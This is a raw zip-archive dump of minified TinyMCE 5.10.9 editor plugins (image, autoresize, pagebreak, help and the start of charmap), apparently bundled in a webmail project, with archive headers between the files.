0!==(S=w.src.meta)&&(y=xe({},w),A=y,D=S,(v=h).hasDescription&&T(D.alt)&&(A.alt=D.alt),v.hasAccessibilityOptions&&(A.isDecorative=D.isDecorative||A.isDecorative||!1),v.hasImageTitle&&T(D.title)&&(A.title=D.title),v.hasDimensions&&(T(D.width)&&(A.dimensions.width=D.width),T(D.height)&&(A.dimensions.height=D.height)),T(D.class)&&Ee(v.classList,D.class).each(function(e){A.classes=e.value}),v.hasImageCaption&&N(D.caption)&&(A.caption=D.caption),v.hasAdvTab&&(T(D.style)&&(A.style=D.style),T(D.vspace)&&(A.vspace=D.vspace),T(D.border)&&(A.border=D.border),T(D.hspace)&&(A.hspace=D.hspace),T(D.borderstyle)&&(A.borderstyle=D.borderstyle)),b.setData(y)),i=e,a=t,o=n,c=(s=(l=r).getData()).src.value,(u=s.src.meta||{}).width||u.height||!a.hasDimensions||(0<c.length?i.imageSize(c).then(function(e){o.open&&l.setData({dimensions:e})}).catch(function(e){return console.error(e)}):l.setData({dimensions:{width:"",height:""}})),m=t,d=n,p=(g=r).getData(),f=Ee(m.imageList,p.src.value),d.prevImage=f,g.setData({images:f.map(function(e){return e.value}).getOr("")})}function ge(l,s,t,c){var e,n=c.getData();c.block("Uploading image"),(0<(e=n.fileinput).length?L.some(e[0]):L.none()).fold(function(){c.unblock()},function(n){function r(){c.unblock(),URL.revokeObjectURL(a)}function i(e){c.setData({src:{value:e,meta:{}}}),c.showTab("general"),de(l,s,t,c)}var a=URL.createObjectURL(n),o=n;new De(function(e,t){var n=new FileReader;n.onload=function(){e(n.result)},n.onerror=function(){t(n.error.message)},n.readAsDataURL(o)}).then(function(e){var t=l.createBlobCache(n,a,e);s.automaticUploads?l.uploadImage(t).then(function(e){i(e.url),r()}).catch(function(e){r(),l.alertErr(e)}):(l.addToBlobCache(t),i(t.blobUri()),c.unblock())})})}function pe(S,U,I){return function(e,t){var n,r,i,a,o,l,s,c,u,m,d,g,p,f,h,b,y,v,A,D,w;"src"===t.name?de(S,U,I,e):"images"===t.name?(c=S,u=U,m=I,g=(d=e).getData(),(p=Ee(u.imageList,g.images)).each(function(e){""===g.alt||m.prevImage.map(function(e){return e.text===g.alt}).getOr(!1)?""===e.value?d.setData({src:e,alt:m.prevAlt}):d.setData({src:e,alt:e.text}):d.setData({src:e})}),m.prevImage=p,de(c,u,m,d)):"alt"===t.name?I.prevAlt=e.getData().alt:"style"===t.name?(o=S,s=(l=e).getData(),y=o.parseStyle,v=o.serializeStyle,D=_(y((A=s).style)),(w=xe({},A)).vspace=D["margin-top"]&&D["margin-bottom"]&&D["margin-top"]===D["margin-bottom"]?O(String(D["margin-top"])):"",w.hspace=D["margin-right"]&&D["margin-left"]&&D["margin-right"]===D["margin-left"]?O(String(D["margin-right"])):"",w.border=D["border-width"]?O(String(D["border-width"])):"",w.borderstyle=D["border-style"]?String(D["border-style"]):"",w.style=v(y(v(D))),l.setData(w)):"vspace"===t.name||"hspace"===t.name||"border"===t.name||"borderstyle"===t.name?(n=S,i=xe(ue(U.image),(r=e).getData()),f=n.normalizeCss,h=me(i,!1),F(b=document.createElement("img"),"style",h.style),!k(b)&&""===h.hspace||$(b,h.hspace),!z(b)&&""===h.vspace||J(b,h.vspace),!M(b)&&""===h.border||K(b,h.border),!B(b,"borderStyle")&&""===h.borderStyle||X(b,h.borderStyle),a=f(b.getAttribute("style")),r.setData({style:a})):"fileinput"===t.name?ge(S,U,I,e):"isDecorative"===t.name&&(e.getData().isDecorative?e.disable("alt"):e.enable("alt"))}}function fe(v){var t,n,r,i,a,o,l,s,c,A={onSubmit:function(n){return function(e){var t=xe(ue(n.image),e.getData());c.execCommand("mceUpdateImage",!1,me(t,n.hasAccessibilityOptions)),c.editorUpload.uploadImagesAuto(),e.close()}},imageSize:function(e){return R(s,e)?(i=s.documentBaseURI.toAbsolute(e),new De(function(t){function n(e){r.onload=r.onerror=null,r.parentNode&&r.parentNode.removeChild(r),t(e)}var r=document.createElement("img");r.onload=function(){var e=x(r.width,r.clientWidth),t=x(r.height,r.clientHeight);n(De.resolve({width:e,height:t}))},r.onerror=function(){n(De.reject("Failed to get image dimensions for: "+i))};var e=r.style;e.visibility="hidden",e.position="fixed",e.bottom=e.left="0px",e.width=e.height="auto",document.body.appendChild(r),r.src=i}).then(function(e){return{width:String(e.width),height:String(e.height)}})):De.resolve({width:"",height:""});var i},addToBlobCache:function(e){l.editorUpload.blobCache.add(e)},createBlobCache:function(e,t,n){return o.editorUpload.blobCache.create({blob:e,blobUri:t,name:e.name?e.name.replace(/\.[^\.]+$/,""):null,filename:e.name,base64:n.split(",")[1]})},alertErr:function(e){a.windowManager.alert(e)},normalizeCss:function(e){return ne(i,e)},parseStyle:function(e){return r.dom.parseStyle(e)},serializeStyle:function(e,t){return n.dom.serializeStyle(e,t)},uploadImage:(t=n=r=i=a=o=l=s=c=v,function(e){return Oe(t).upload([e],!1).then(function(e){return 0===e.length?De.reject("Failed to upload image"):!1===e[0].status?De.reject(e[0].error.message):e[0]})})};return{open:function(){var a,r,t,e,i,n,o,l,s,c,u,m,d,g,p,f,h,b,y;r=v,i=Pe(function(e){return r.convertURL(e.value||e.url,"src")}),n=new De(function(t){var n=function(e){t(i(e).map(function(e){return S([[{text:"None",value:""}],e])}))},e=r.getParam("image_list",!1);T(e)?Se.send({url:e,success:function(e){n(JSON.parse(e))}}):w(e)?e(n):n(e)}),o=_e(r.getParam("image_class_list")),l=r.getParam("image_advtab",!1,"boolean"),s=r.getParam("image_uploadtab",!0,"boolean"),c=D(r.getParam("images_upload_url")),u=D(r.getParam("images_upload_handler")),m=(e=re(t=r))?Y(function(e){return ne(t,e)},e):Q(),d=r.getParam("image_description",!0,"boolean"),g=r.getParam("image_title",!1,"boolean"),p=C(r),f=r.getParam("image_caption",!1,"boolean"),h=r.getParam("a11y_advanced_options",!1,"boolean"),b=r.getParam("automatic_uploads",!0,"boolean"),y=L.some(r.getParam("image_prepend_url","","string")).filter(function(e){return T(e)&&0<e.length}),n.then(function(e){return{image:m,imageList:e,classList:o,hasAdvTab:l,hasUploadTab:s,hasUploadUrl:c,hasUploadHandler:u,hasDescription:d,hasImageTitle:g,hasDimensions:p,hasImageCaption:f,prependURL:y,hasAccessibilityOptions:h,automaticUploads:b}}).then((a=A,function(e){var t,n,r,i={prevImage:Ee((t=e).imageList,t.image.src),prevAlt:t.image.alt,open:!0};return{title:"Insert/Edit Image",size:"normal",body:(r=e).hasAdvTab||r.hasUploadUrl||r.hasUploadHandler?{type:"tabpanel",tabs:S([[ke(r)],r.hasAdvTab?[Re(r)]:[],r.hasUploadTab&&(r.hasUploadUrl||r.hasUploadHandler)?[Me(r)]:[]])}:{type:"panel",items:ze(r)},buttons:[{type:"cancel",name:"cancel",text:"Cancel"},{type:"submit",name:"save",text:"Save",primary:!0}],initialData:ue(e.image),onSubmit:a.onSubmit(e),onChange:pe(a,e,i),onClose:(n=i,function(){n.open=!1})}})).then(v.windowManager.open)}}}function he(a){return function(e){for(var t=e.length,n=function(e){e.attr("contenteditable",a?"true":null)};t--;){var r,i=e[t];(r=i.attr("class"))&&/\bimage\b/.test(r)&&(i.attr("contenteditable",a?"false":null),Te.each(i.getAll("figcaption"),n))}}}"undefined"!=typeof window||Function("return this;")();function be(e){if(null==e)throw new Error("Node cannot be null or undefined");return{dom:e}}var ye,ve=be,Ae=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),De=tinymce.util.Tools.resolve("tinymce.util.Promise"),we=tinymce.util.Tools.resolve("tinymce.util.URI"),Se=tinymce.util.Tools.resolve("tinymce.util.XHR"),Ue=Ae.DOM,Ie=function(e,t,n){n?(Ue.setAttrib(e,"role","presentation"),I(ve(e),"alt","")):(i===t?ve(e).dom.removeAttribute("alt"):I(ve(e),"alt",t),"presentation"===Ue.getAttrib(e,"role")&&Ue.setAttrib(e,"role",""))},Ce=function(e,t,n){var r=Y(e,n);ee(n,r,t,"caption",function(e,t,n){return H(r=e)?(o=r.parentNode,Ue.insertAfter(r,o),Ue.remove(o)):(i=r,a=Ue.create("figure",{class:"image"}),Ue.insertAfter(a,i),a.appendChild(i),a.appendChild(Ue.create("figcaption",{contentEditable:"true"},"Caption")),a.contentEditable="false"),0;var r,i,a,o}),ee(n,r,t,"src",F),ee(n,r,t,"title",F),ee(n,r,t,"width",W(0,e)),ee(n,r,t,"height",W(0,e)),ee(n,r,t,"class",F),ee(n,r,t,"style",te(function(e,t){return F(e,"style",t),0},e)),ee(n,r,t,"hspace",te($,e)),ee(n,r,t,"vspace",te(J,e)),ee(n,r,t,"border",te(K,e)),ee(n,r,t,"borderStyle",te(X,e)),t.alt===r.alt&&t.isDecorative===r.isDecorative||Ie(n,t.alt,t.isDecorative)},xe=(ye=function(e,t){return s(e)&&s(t)?xe(e,t):t},function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];if(0===e.length)throw new Error("Can't merge zero objects");for(var n={},r=0;r<e.length;r++){var i,a=e[r];for(i in a)h(a,i)&&(n[i]=ye(n[i],a[i]))}return n}),Oe=tinymce.util.Tools.resolve("tinymce.util.ImageUploader"),Te=tinymce.util.Tools.resolve("tinymce.util.Tools"),Ne=function(e,a){var o=[];return Te.each(e,function(e){var t,n,r,i=T((t=e).text)?t.text:T(t.title)?t.title:"";void 0!==e.menu?(n=Ne(e.menu,a),o.push({text:i,items:n})):(r=a(e),o.push({text:i,value:r}))}),o},Le=function(e,i){return function(e){for(var t,n=0;n<e.length;n++){var r=h(t=e[n],"items")?Le(t.items,i):t.value===i?L.some(t):L.none();if(r.isSome())return r}return L.none()}(e)},Pe=se,_e=function(e){return se(le)(e)},Ee=function(e,t){return e.bind(function(e){return Le(e,t)})},Re=function(e){return{title:"Advanced",name:"advanced",items:[{type:"input",label:"Style",name:"style"},{type:"grid",columns:2,items:[{type:"input",label:"Vertical space",name:"vspace",inputMode:"numeric"},{type:"input",label:"Horizontal space",name:"hspace",inputMode:"numeric"},{type:"input",label:"Border width",name:"border",inputMode:"numeric"},{type:"listbox",name:"borderstyle",label:"Border style",items:[{text:"Select...",value:""},{text:"Solid",value:"solid"},{text:"Dotted",value:"dotted"},{text:"Dashed",value:"dashed"},{text:"Double",value:"double"},{text:"Groove",value:"groove"},{text:"Ridge",value:"ridge"},{text:"Inset",value:"inset"},{text:"Outset",value:"outset"},{text:"None",value:"none"},{text:"Hidden",value:"hidden"}]}]}]}},ke=function(e){return{title:"General",name:"general",items:ce(e)}},ze=ce,Me=function(e){return{title:"Upload",name:"upload",items:[{type:"dropzone",name:"fileinput"}]}};o.add("image",function(e){var t,n,r;(t=e).on("PreInit",function(){t.parser.addNodeFilter("figure",he(!0)),t.serializer.addNodeFilter("figure",he(!1))}),(n=e).ui.registry.addToggleButton("image",{icon:"image",tooltip:"Insert/edit image",onAction:fe(n).open,onSetup:function(e){return e.setActive(D(re(n))),n.selection.selectorChangedWithUnbind("img:not([data-mce-object],[data-mce-placeholder]),figure.image",e.setActive).unbind}}),n.ui.registry.addMenuItem("image",{icon:"image",text:"Image...",onAction:fe(n).open}),n.ui.registry.addContextMenu("image",{update:function(e){return Z(e)||"IMG"===e.nodeName&&!E(e)?["image"]:[]}}),(r=e).addCommand("mceImage",fe(r).open),r.addCommand("mceUpdateImage",function(e,t){r.undoManager.transact(function(){return oe(r,t)})})})}();PK
h�\j�l4��3program/js/tinymce/plugins/autoresize/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function y(e){return e.getParam("min_height",e.getElement().offsetHeight,"number")}function p(e,t){var n=e.getBody();n&&(n.style.overflowY=t?"":"hidden",t||(n.scrollTop=0))}function v(e,t,n,i){var o=parseInt(e.getStyle(t,n,i),10);return isNaN(o)?0:o}var l=Object.hasOwnProperty,e=tinymce.util.Tools.resolve("tinymce.PluginManager"),b=tinymce.util.Tools.resolve("tinymce.Env"),r=tinymce.util.Tools.resolve("tinymce.util.Delay"),u=function(e,t,n,i,o){r.setEditorTimeout(e,function(){C(e,t),n--?u(e,t,n,i,o):o&&o()},i)},C=function(e,t,n){var i,o,r,s,a,l,u,g,c,m,f,d=e.dom,h=e.getDoc();h&&(e.plugins.fullscreen&&e.plugins.fullscreen.isFullscreen()?p(e,!0):(i=h.documentElement,o=e.getParam("autoresize_bottom_margin",50,"number"),r=y(e),s=v(d,i,"margin-top",!0),a=v(d,i,"margin-bottom",!0),(l=(l=i.offsetHeight+s+a+o)<0?0:l)+(u=e.getContainer().offsetHeight-e.getContentAreaContainer().offsetHeight)>y(e)&&(r=l+u),(g=e.getParam("max_height",0,"number"))&&g<r?(r=g,p(e,!0)):p(e,!1),r!==t.get()&&(c=r-t.get(),d.setStyle(e.getContainer(),"height",r+"px"),t.set(r),e.fire("ResizeEditor"),b.browser.isSafari()&&b.mac&&(m=e.getWin()).scrollTo(m.pageXOffset,m.pageYOffset),!e.hasFocus()||"setcontent"!==(null==(f=n)?void 0:f.type.toLowerCase())||!0!==f.selection&&!0!==f.paste||e.selection.scrollIntoView(),b.webkit&&c<0&&C(e,t,n))))};e.add("autoresize",function(e){var t,n,i,o,r,s,a=e.settings;l.call(a,"resize")||(e.settings.resize=!1),e.inline||(s=0,r=t={get:function(){return s},set:function(e){s=e}},(o=e).addCommand("mceAutoResize",function(){C(o,r)}),i=t,(n=e).on("init",function(){var e=n.getParam("autoresize_overflow_padding",1,"number"),t=n.dom;t.setStyles(n.getDoc().documentElement,{height:"auto"}),t.setStyles(n.getBody(),{paddingLeft:e,paddingRight:e,"min-height":0})}),n.on("NodeChange SetContent keyup FullscreenStateChanged ResizeContent",function(e){C(n,i,e)}),n.getParam("autoresize_on_init",!0,"boolean")&&n.on("init",function(){u(n,i,20,100,function(){u(n,i,5,1e3)})}))})}();PK
h�\���i^^2program/js/tinymce/plugins/pagebreak/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function u(e){return e.getParam("pagebreak_split_block",!1)}function l(e){var a='<img src="'+n.transparentSrc+'" class="'+m+'" data-mce-resize="false" data-mce-placeholder />';return e?"<p>"+a+"</p>":a}var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),n=tinymce.util.Tools.resolve("tinymce.Env"),m="mce-pagebreak";e.add("pagebreak",function(e){var a,n,o,i,t,r;function c(){return n.execCommand("mcePageBreak")}function g(){return u(o)}(a=e).addCommand("mcePageBreak",function(){a.insertContent(l(u(a)))}),(n=e).ui.registry.addButton("pagebreak",{icon:"page-break",tooltip:"Page break",onAction:c}),n.ui.registry.addMenuItem("pagebreak",{text:"Page break",icon:"page-break",onAction:c}),i=(o=e).getParam("pagebreak_separator","\x3c!-- pagebreak --\x3e"),t=new RegExp(i.replace(/[\?\.\*\[\]\(\)\{\}\+\^\$\:]/g,function(e){return"\\"+e}),"gi"),o.on("BeforeSetContent",function(e){e.content=e.content.replace(t,l(g()))}),o.on("PreInit",function(){o.serializer.addNodeFilter("img",function(e){for(var a,n,t,r=e.length;r--;)(t=(n=e[r]).attr("class"))&&-1!==t.indexOf(m)&&(a=n.parent,o.schema.getBlockElements()[a.name]&&g()?(a.type=3,a.value=i,a.raw=!0,n.remove()):(n.type=3,n.value=i,n.raw=!0))})}),(r=e).on("ResolveName",function(e){"IMG"===e.target.nodeName&&r.dom.hasClass(e.target,m)&&(e.name="pagebreak")})})}();PK
h�\��Q/M4M4-program/js/tinymce/plugins/help/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function i(e){return function(){return e}}function e(e){return e}function t(){return s}var n=tinymce.util.Tools.resolve("tinymce.PluginManager"),g=function(){return(g=Object.assign||function(e){for(var t,n=1,a=arguments.length;n<a;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e}).apply(this,arguments)},u=i(!1),r=i(!0),s={fold:function(e,t){return e()},isSome:u,isNone:r,getOr:e,getOrThunk:a,getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:i(null),getOrUndefined:i(void 0),or:e,orThunk:a,map:t,each:function(){},bind:t,exists:u,forall:r,filter:function(){return s},toArray:function(){return[]},toString:i("none()")};function a(e){return e()}function b(e,t){for(var n=e.length,a=new Array(n),o=0;o<n;o++){var i=e[o];a[o]=t(i,o)}return a}function m(e,t){for(var n=[],a=0,o=e.length;a<o;a++){var i=e[a];t(i,a)&&n.push(i)}return n}function f(e){var n=p.mac?{alt:"&#x2325;",ctrl:"&#x2303;",shift:"&#x21E7;",meta:"&#x2318;",access:"&#x2303;&#x2325;"}:{meta:"Ctrl ",access:"Shift + Alt "},t=b(e.split("+"),function(e){var t=e.toLowerCase().trim();return A(n,t)?n[t]:e});return p.mac?t.join("").replace(/\s/,""):t.join("+")}function k(e){function a(e){return'<a href="'+e.url+'" target="_blank" rel="noopener">'+e.name+"</a>"}var t,o,n,i,r,s,l,c;return{name:"plugins",title:"Plugins",items:[{type:"htmlpanel",presets:"document",html:[null==e?"":'<div data-mce-tabstop="1" tabindex="-1">'+(s=b((i=w((n=o=e).plugins),void 0===(r=n.getParam("forced_plugins"))?i:m(i,function(e){return!(-1<h.call(r,e))})),function(e){return"<li>"+(t=o,n=e,function(e,t,n){for(var a=0,o=e.length;a<o;a++){var i=e[a];if(t(i,a))return v.some(i);if(n(i,a))break}return v.none()}(d,function(e){return e.key===n},u).fold(function(){var e=t.plugins[n].getMetadata;return"function"==typeof e?a(e()):n},function(e){return a({name:"premium"===e.type?e.name+"*":e.name,url:"https://www.tiny.cloud/docs/plugins/"+e.type+"/"+e.slug})}))+"</li>";var t,n}),l=s.length,c=s.join(""),"<p><b>"+T.translate(["Plugins installed ({0}):",l])+"</b></p><ul>"+c+"</ul>")+"</div>",(t=b(m(d,function(e){var t=e.key,n=e.type;return"autocorrect"!==t&&"premium"===n}),function(e){return"<li>"+T.translate(e.name)+"</li>"}).join(""),'<div data-mce-tabstop="1" tabindex="-1"><p><b>'+T.translate("Premium plugins:")+"</b></p><ul>"+t+'<li class="tox-help__more-link" "><a href="https://www.tiny.cloud/pricing/?utm_campaign=editor_referral&utm_medium=help_dialog&utm_source=tinymce" target="_blank">'+T.translate("Learn more...")+"</a></li></ul></div>")].join("")}]}}function l(d,y){return function(){var e,t,n,a,o,i,r,s,l,c,u,m=(e=d,t=y,r={name:"shortcuts",title:"Handy Shortcuts",items:[{type:"table",header:["Action","Shortcut"],cells:b(x,function(e){var t=b(e.shortcuts,f).join(" or ");return[e.action,t]})}]},s={name:"keyboardnav",title:"Keyboard Navigation",items:[{type:"htmlpanel",presets:"document",html:"<h1>Editor UI keyboard navigation</h1>\n\n<h2>Activating keyboard navigation</h2>\n\n<p>The sections of the outer UI of the editor - the menubar, toolbar, sidebar and footer - are all keyboard navigable. As such, there are multiple ways to activate keyboard navigation:</p>\n<ul>\n  <li>Focus the menubar: Alt + F9 (Windows) or &#x2325;F9 (MacOS)</li>\n  <li>Focus the toolbar: Alt + F10 (Windows) or &#x2325;F10 (MacOS)</li>\n  <li>Focus the footer: Alt + F11 (Windows) or &#x2325;F11 (MacOS)</li>\n</ul>\n\n<p>Focusing the menubar or toolbar will start keyboard navigation at the first item in the menubar or toolbar, which will be highlighted with a gray background. Focusing the footer will start keyboard navigation at the first item in the element path, which will be highlighted with an underline. </p>\n\n<h2>Moving between UI sections</h2>\n\n<p>When keyboard navigation is active, pressing tab will move the focus to the next major section of the UI, where applicable. These sections are:</p>\n<ul>\n  <li>the menubar</li>\n  <li>each group of the toolbar </li>\n  <li>the sidebar</li>\n  <li>the element path in the footer </li>\n  <li>the wordcount toggle button in the footer </li>\n  <li>the branding link in the footer </li>\n  <li>the editor resize handle in the footer</li>\n</ul>\n\n<p>Pressing shift + tab will move backwards through the same sections, except when moving from the footer to the toolbar. Focusing the element path then pressing shift + tab will move focus to the first toolbar group, not the last.</p>\n\n<h2>Moving within UI sections</h2>\n\n<p>Keyboard navigation within UI sections can usually be achieved using the left and right arrow keys. This includes:</p>\n<ul>\n  <li>moving between menus in the menubar</li>\n  <li>moving between buttons in a toolbar group</li>\n  <li>moving between items in the element path</li>\n</ul>\n\n<p>In all these UI sections, keyboard navigation will cycle within the section. For example, focusing the last button in a toolbar group then pressing right arrow will move focus to the first item in the same toolbar group. </p>\n\n<h1>Executing buttons</h1>\n\n<p>To execute a button, navigate the selection to the desired button and hit space or enter.</p>\n\n<h1>Opening, navigating and closing menus</h1>\n\n<p>When focusing a menubar button or a toolbar button with a menu, pressing space, enter or down arrow will open the menu. When the menu opens the first item will be selected. To move up or down the menu, press the up or down arrow key respectively. This is the same for submenus, which can also be opened and closed using the left and right arrow keys.</p>\n\n<p>To close any active menu, hit the escape key. When a menu is closed the selection will be restored to its previous selection. This also works for closing submenus.</p>\n\n<h1>Context toolbars and menus</h1>\n\n<p>To focus an open context toolbar such as the table context toolbar, press Ctrl + F9 (Windows) or &#x2303;F9 (MacOS).</p>\n\n<p>Context toolbar navigation is the same as toolbar navigation, and context menu navigation is the same as standard menu navigation.</p>\n\n<h1>Dialog navigation</h1>\n\n<p>There are two types of dialog UIs in TinyMCE: tabbed dialogs and non-tabbed dialogs.</p>\n\n<p>When a non-tabbed dialog is opened, the first interactive component in the dialog will be focused. Users can navigate between interactive components by pressing tab. This includes any footer buttons. Navigation will cycle back to the first dialog component if tab is pressed while focusing the last component in the dialog. Pressing shift + tab will navigate backwards.</p>\n\n<p>When a tabbed dialog is opened, the first button in the tab menu is focused. Pressing tab will navigate to the first interactive component in that tab, and will cycle through the tab\u2019s components, the footer buttons, then back to the tab button. To switch to another tab, focus the tab button for the current tab, then use the arrow keys to cycle through the tab buttons.</p>"}]},l=k(e),a=C.majorVersion,o=C.minorVersion,i=0===a.indexOf("@")?"X.X.X":a+"."+o,c={name:"versions",title:"Version",items:[{type:"htmlpanel",html:"<p>"+T.translate(["You are using {0}",'<a href="https://www.tiny.cloud/docs/changelog/?utm_campaign=editor_referral&utm_medium=help_dialog&utm_source=tinymce" target="_blank">TinyMCE '+i+"</a>"])+"</p>",presets:"document"}]},u=g(((n={})[r.name]=r,n[s.name]=s,n[l.name]=l,n[c.name]=c,n),t.get()),v.from(e.getParam("help_tabs")).fold(function(){return-1!==(n=(t=w(e=u)).indexOf("versions"))&&(t.splice(n,1),t.push("versions")),{tabs:e,names:t};var e,t,n},function(e){return t=u,n={},a=b(e,function(e){return"string"==typeof e?(A(t,e)&&(n[e]=t[e]),e):(n[e.name]=e).name}),{tabs:n,names:a};var t,n,a})),h=m.tabs,p=function(e){for(var t=[],n=function(e){t.push(e)},a=0;a<e.length;a++)e[a].each(n);return t}(b(m.names,function(e){return A(t=h,n=e)?v.from(t[n]):v.none();var t,n}));d.windowManager.open({title:"Help",size:"medium",body:{type:"tabpanel",tabs:p},buttons:[{type:"cancel",name:"close",text:"Close",primary:!0}],initialData:{}})}}var c=function(n){function e(){return o}function t(e){return e(n)}var a=i(n),o={fold:function(e,t){return t(n)},isSome:r,isNone:u,getOr:a,getOrThunk:a,getOrDie:a,getOrNull:a,getOrUndefined:a,or:e,orThunk:e,map:function(e){return c(e(n))},each:function(e){e(n)},bind:t,exists:t,forall:t,filter:function(e){return e(n)?o:s},toArray:function(){return[n]},toString:function(){return"some("+n+")"}};return o},v={some:c,none:t,from:function(e){return null==e?s:c(e)}},h=Array.prototype.indexOf,w=Object.keys,o=Object.hasOwnProperty,A=function(e,t){return o.call(e,t)},p=tinymce.util.Tools.resolve("tinymce.Env"),x=[{shortcuts:["Meta + B"],action:"Bold"},{shortcuts:["Meta + I"],action:"Italic"},{shortcuts:["Meta + U"],action:"Underline"},{shortcuts:["Meta + A"],action:"Select all"},{shortcuts:["Meta + Y","Meta + Shift + Z"],action:"Redo"},{shortcuts:["Meta + Z"],action:"Undo"},{shortcuts:["Access + 1"],action:"Heading 1"},{shortcuts:["Access + 2"],action:"Heading 2"},{shortcuts:["Access + 3"],action:"Heading 3"},{shortcuts:["Access + 4"],action:"Heading 4"},{shortcuts:["Access + 5"],action:"Heading 5"},{shortcuts:["Access + 6"],action:"Heading 6"},{shortcuts:["Access + 7"],action:"Paragraph"},{shortcuts:["Access + 8"],action:"Div"},{shortcuts:["Access + 9"],action:"Address"},{shortcuts:["Alt + 0"],action:"Open help dialog"},{shortcuts:["Alt + F9"],action:"Focus to menubar"},{shortcuts:["Alt + F10"],action:"Focus to toolbar"},{shortcuts:["Alt + F11"],action:"Focus to element path"},{shortcuts:["Ctrl + F9"],action:"Focus to contextual toolbar"},{shortcuts:["Shift + Enter"],action:"Open popup menu for split buttons"},{shortcuts:["Meta + K"],action:"Insert link (if link plugin activated)"},{shortcuts:["Meta + S"],action:"Save (if save plugin activated)"},{shortcuts:["Meta + F"],action:"Find (if searchreplace plugin activated)"},{shortcuts:["Meta + Shift + F"],action:"Switch to or from fullscreen mode"}],T=tinymce.util.Tools.resolve("tinymce.util.I18n"),d=b([{key:"advlist",name:"Advanced List"},{key:"anchor",name:"Anchor"},{key:"autolink",name:"Autolink"},{key:"autoresize",name:"Autoresize"},{key:"autosave",name:"Autosave"},{key:"bbcode",name:"BBCode"},{key:"charmap",name:"Character Map"},{key:"code",name:"Code"},{key:"codesample",name:"Code Sample"},{key:"colorpicker",name:"Color Picker"},{key:"directionality",name:"Directionality"},{key:"emoticons",name:"Emoticons"},{key:"fullpage",name:"Full Page"},{key:"fullscreen",name:"Full Screen"},{key:"help",name:"Help"},{key:"hr",name:"Horizontal Rule"},{key:"image",name:"Image"},{key:"imagetools",name:"Image Tools"},{key:"importcss",name:"Import CSS"},{key:"insertdatetime",name:"Insert Date/Time"},{key:"legacyoutput",name:"Legacy Output"},{key:"link",name:"Link"},{key:"lists",name:"Lists"},{key:"media",name:"Media"},{key:"nonbreaking",name:"Nonbreaking"},{key:"noneditable",name:"Noneditable"},{key:"pagebreak",name:"Page Break"},{key:"paste",name:"Paste"},{key:"preview",name:"Preview"},{key:"print",name:"Print"},{key:"quickbars",name:"Quick Toolbars"},{key:"save",name:"Save"},{key:"searchreplace",name:"Search and Replace"},{key:"spellchecker",name:"Spell Checker"},{key:"tabfocus",name:"Tab Focus"},{key:"table",name:"Table"},{key:"template",name:"Template"},{key:"textcolor",name:"Text Color"},{key:"textpattern",name:"Text Pattern"},{key:"toc",name:"Table of Contents"},{key:"visualblocks",name:"Visual Blocks"},{key:"visualchars",name:"Visual Characters"},{key:"wordcount",name:"Word Count"},{key:"a11ychecker",name:"Accessibility Checker",type:"premium"},{key:"advcode",name:"Advanced Code Editor",type:"premium"},{key:"advtable",name:"Advanced Tables",type:"premium"},{key:"autocorrect",name:"Autocorrect",type:"premium"},{key:"casechange",name:"Case Change",type:"premium"},{key:"checklist",name:"Checklist",type:"premium"},{key:"export",name:"Export",type:"premium"},{key:"mediaembed",name:"Enhanced Media Embed",type:"premium"},{key:"formatpainter",name:"Format Painter",type:"premium"},{key:"linkchecker",name:"Link Checker",type:"premium"},{key:"mentions",name:"Mentions",type:"premium"},{key:"pageembed",name:"Page Embed",type:"premium"},{key:"permanentpen",name:"Permanent Pen",type:"premium"},{key:"powerpaste",name:"PowerPaste",type:"premium"},{key:"rtc",name:"Real-Time Collaboration",type:"premium"},{key:"tinymcespellchecker",name:"Spell Checker Pro",type:"premium"},{key:"tinycomments",name:"Tiny Comments",type:"premium",slug:"comments"},{key:"tinydrive",name:"Tiny Drive",type:"premium"}],function(e){return g(g({},e),{type:e.type||"opensource",slug:e.slug||e.key})}),C=tinymce.util.Tools.resolve("tinymce.EditorManager");n.add("help",function(e){var t,n,a,o=(t={},{get:function(){return t},set:function(e){t=e}}),i={addTab:function(e){var t=n.get();t[e.name]=e,n.set(t)}},r=l(e,n=o),s=r;return(a=e).ui.registry.addButton("help",{icon:"help",tooltip:"Help",onAction:s}),a.ui.registry.addMenuItem("help",{text:"Help",icon:"help",shortcut:"Alt+0",onAction:s}),e.addCommand("mceHelp",r),e.shortcuts.add("Alt+0","Open help dialog","mceHelp"),i})}();PK
h�\N:�ݒ-�-0program/js/tinymce/plugins/charmap/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
